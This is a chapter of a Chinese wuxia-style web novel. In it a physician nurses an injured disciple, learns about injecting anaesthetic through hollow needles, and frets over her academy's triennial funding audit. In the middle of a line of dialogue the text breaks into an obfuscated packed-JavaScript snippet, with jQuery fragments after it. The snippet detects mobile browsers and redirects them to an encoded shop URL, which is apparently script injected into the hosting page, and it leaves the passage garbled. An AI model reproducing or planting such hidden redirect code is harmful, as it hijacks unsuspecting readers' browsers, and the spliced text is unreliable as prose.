6. 伺候

作品:《捡个野徒问鼎江湖

    百川没想到,上官寒嘴上说让她有用一些,实际上是真没跟她客气。


    夏日来临,一天热过一天,若按以往,百川午后定是躲在纳川阁角落避暑,可如今,有了上官寒这么个活爹,百川那原本高居榜首的纳川阁留馆时长记录,都快被人赶超了。


    上官寒已从病室搬至普通学舍,但师尊念其右手不堪负累,便托百川再多照看其几日。


    于是百川这几日不仅担起上官寒主治医者之责,更身兼这斯的贴身丫鬟及跑腿小斯之职。不是端茶倒水,就是为他出谷采买,为学舍添置日用。


    今日她一大早就被使唤去镇上。百川拿着上官寒的私印,按其所说去镇上寻到某家药铺,又见到了药铺的掌柜,最后当她看着手里厚厚一沓银票时,只觉得这世道是何等荒唐。


    去他的孤儿寡母,举目无依。


    真惨到这个份上的人能随便用块印章就取到几百两银子么,这都抵得上她十来年的俸银了。


    也亏得这斯如此信任她,拿着巨款的百川在镇上晃荡时都有些心里发虚,以至于她看着自己在镇上能采买到的成衣及日用物什,好像都有些委屈了他。


    “东西都有些素朴,你将就着用吧。”


    百川将东西并剩余银票还给上官寒时,方才如释重负地吁口气,然后细致地翻开他右臂上的纱布换药。


    他这伤口终于好得差不多了,这前前后后加起来怕是有大半月了,她就这般整日鞍前马后地伺候着,这日子总算要到头了。


    倒不是百川把人想得太坏,她其实不止一次地怀疑上官寒是不是又延长了伤口愈合时间,就为了折腾她。


    百川贴心地为上官寒布好饭菜,将筷子递于他左手上。


    “菜凉了。”上官寒蹙眉。


    “我已经很迅速地赶来了,你要是不喝汤,我还能跑快点。”


    这段时间她日日为其从伙房带饭,为免得上官寒这斯久等,她干脆将她自己的吃食也一并带来,另寻了一方小几,与他同吃。


    百川一边看方子一边扒饭,看到一味药时,她蹙了蹙眉:


    “日前给的方子,有几处不是很懂。”


    “食不言,寝不语。”


    “……”


    百川讪讪,可惜人在屋檐下,不得不低头啊。


    与其狂傲嚣张的秉性不同,上官寒吃相素来斯文,哪怕是左手执箸,亦很是优雅。不觉间,百川也跟着细嚼慢咽起来。


    耐着性子吃完饭,百川收拾好二人案几,方递过那张药方。


    “此处不甚明白。”


    上官寒接过方单,上面载着麻醉方法的解说。


    “术前麻醉之药,比起口服,不若以极细空心的钢针注入血脉之中,如此可提高药用功效,且能减少用药剂量,继而降低其对脏腑的毒害。”


    “原来如此!”百川惊叹。


    “在此基础上再进一步,或可总结局部麻醉之法,只作用于患处,而病患尚可保持神智,如此危害更小。”


    “果然听君一席话,胜读十年书。”百川感慨一声,愈发佩服。


    所以人家就算让她多照顾几日又怎么了,这不叫鞍前马后伺候,这叫近水楼台得月。


    “点到为止。”


    上官寒挥手送客,百川收好药方和笔记,又为他左手案几上续好热茶,方才带着食盒离去。


    器宗火炉边,唐轩挥汗如雨,涨红的脸如煮熟般。百川忽然意识到此时不是个来器宗打扰的好时机。


    大热天一大帮子人成日守着上千多度的火炉,真会出人命。而且火气入肝,易动怒。所以每当这个时节,器宗弟子都在自我毁灭与毁天灭地之间疯狂徘徊。


    “我保证下不为例!”百川小小地咽了下口水。


    “你哪次来不是这套说辞,”唐轩冷哼,他已经被磨得没什么脾气了,“这次又是为何?”


    “那个……这次是想劳烦阁下打制极细的空心钢针,外科注射药物所用……”


    越说声音越小,百川有点不抱希望了,还是立秋之后再来纠缠他好了。


    “可以!”


    唐轩答应得爽快,令百川很是疑惑。


    “唐门本就为暗器淬毒之法伤神,尤其夏日,汤剂涂抹之毒很快便会挥发,而粉末固态之毒多不稳定,恐在行动之时夹入风中伤及己方,如若是针管□□,如难题便可迎刃而解。”


    没想到医宗的人能给唐门带来这许多灵感,甚好甚好。


    有一瞬间,唐轩甚至在脑海里琢磨,日后娶一个医宗的女子回去,医术与暗杀,如此搭配甚好。


    对方那亲切的表情让百川很是受宠若惊,一度怀疑怕不是天太热,给这些器宗弟子脑子烤坏了。


    好歹针管之事解决了,这下距离成功便又近了许多。


    百川心情大好,整日窝在后山兔舍里试验。


    如此转眼便到了百川心目中最重要的日子。


    农历七月十五,宜嫁娶、乔迁,忌沐浴,寒食。


    百川一边翻看黄历,一边回想今日自己有没有做些犯忌之事。倒不是迷信,只是她今日真的很紧张,因着今儿个是纳川书院每三年向朝廷请拨银两的大日子。


    纳川虽作为书院,但其主要的银钱收入并非弟子束脩。为了给更多有才华的寒门子弟入学纳川的机会,纳川的束脩并不高,但为扶持书院兴学,朝廷将纳川谷内外数百亩田产归予纳川书院。


    故而纳川每年花销银钱来源有三,一是国库拨款,二是学田租银,三是商邦资助,此外,武林盟每年亦会为纳川提供部分捐资。从银两来源上也可看出纳川背后各方势力的平衡鼎足之态。


    所谓吃人嘴短,拿人手短,人家既然给了钱,书院自然要确保这些银钱每分都被花到实处,好往后再度请帑。


    故而隔两年,朝廷、商邦和武林盟都会遣使来纳川钩考账目,根据过去三年的银两使用来安排接下来三年的拨款用度。


    打个比方,如果百川想继续让各位金主们拨银子给她在后山养兔子用于试验,她就得以实际效益让他们明白养兔子的钱没有白花。


    万一金主们不再继续给百川提供银两了呢?


    百川心里咯噔一下,手上动作一顿,她还真没认真想过这个问题,要是没钱了,她的兔子们,估计只能送去纳川伙房了。


    百川拼命晃了晃头,把这个可怕的念头甩出脑袋,结果手上一不留神把给上官寒泡的茶盏给打翻了。


    好在上官寒倾身鹞落,以左手将盏稳稳托住,甚至连里面的茶水也未溢几滴。


    “阁下好身手。由此观之,阁下不日应该也不需要我近前伺侯了。”今日百川连奉承都有些心不在焉,虽说这斯身姿轻盈流畅相当悦目,但她眼下确实很是发愁。


    “百川师者是在忧思今日度支钩考一事?”


    “可不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201886|197220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是么。”百川以手撑颔,语气蔫不拉几,“前段时日我与黄继那老匹夫和他家的小匹夫斗过几次嘴,现如今谷里对我风传有些负面。”


    “百川师者一如既往刚正耿直快人快语。”


    上官寒说得面无表情,以至于百川辨不出此话是正是反。


    “对不住了,可是我就是经常管不住自己这张嘴。”百川感慨,她认了。


    “不知三年前的钩考,百川师者是以何事功请帑?”


    三年前那次是百川升格为师者后第一次参加学院钩考,靠着研制的新药以及师尊的担保险险挨了过来。


    百川叹息一声,有气无力地答道:“就是以这些日子给你口服外敷,缓解疮疡的药剂。”


    上官寒侧目看她:“倒有些本事。”


    百川有些吃惊,能被这斯说是有些本事,那便真是够可以了。


    想当初,百川确实对自己这方药剂十分自信,只是当初过于年轻人微,才被那些老小匹夫们设绊。被排挤时间长了,一度让百川都快忽略了自己明明是个不错的医者。


    “没想到阁下还会鼓励人。”百川表示很感慨。


    上官寒浅抿一口清茶,语气疏朗:“不过就事论事而已。”


    片刻后,他再问:“麻沸散试验成效如何?”


    百川想了想,答道:“只先拿兔子试过药,死伤不大,成效尚可。”


    上官寒未作回应,半晌,只从喉间溢出一声呵笑。


    百川不忿,她刚振奋起来的心绪,又消沉大半。


    毫无伤害地干瞪了几眼上官寒,百川便从学舍出来准备接下来的议事。她没走多远,白翎就凑了过来,涎着一张笑脸,活像跟主人讨食的小狗。


    “小川儿想什么心事呢?刚才叫你半天也没听见。”


    “想待会儿拨款钩考之事。”


    “小川儿还用担心这事儿么?”白翎笑开了脸,拍着胸脯道,“我就是来告诉小川儿今年不用担心,我爹这几日去峨嵋派帮病重的掌门处理传位之事,没空来纳川,今日由我代理议事,我肯定会附议小川儿的。”


    百川听罢,神情剧变,转头瞪着白翎宛如在看白痴。


    “你知道你还事前在我面前蹦跶?被人瞧见你我就有贿赂徇私的嫌疑,你赶紧得有多远滚多远!”


    百川边推边撵,恨不能手持打狗棒给他来一闷棍。


    “哎川儿你别这么紧张呀,这每次钩考大多走个过场,银两本来就是要给纳川的,只要师尊他老人家说没问题,不论朝廷商邦还是武林盟,都不会刻意与谁过不去的。”


    白翎平日虽大大咧咧,但此时分析得却都在理,只是百川依旧不希望在医德品性上落人口舌。


    “行,你不滚我滚远点可以吧。”


    说罢百川便麻溜地要往纳川阁跑,却被白翎拽住。


    “那行,我就说最后一句话,朝廷那边这次来的是二皇子李弘煊,就李弘煜他哥,我反正把消息都透给你了,后面用不用得上就随便川儿了。”


    说完也不用百川催,白翎自己一个旋身便飞得没影了。


    百川长长地叹了口气,正待转身,便瞧见不远处徐徐走来一抹身影,鹅黄色法宗弟子服上缀以墨玉流苏,来者浅笑盈盈眸含春水,恰是刚刚被白翎提及的李弘煜。


    百川踮脚望了眼,又迅速垂下眼帘,别扭地攥了攥袖口。她本就紧张的心绪,如今更显局促了。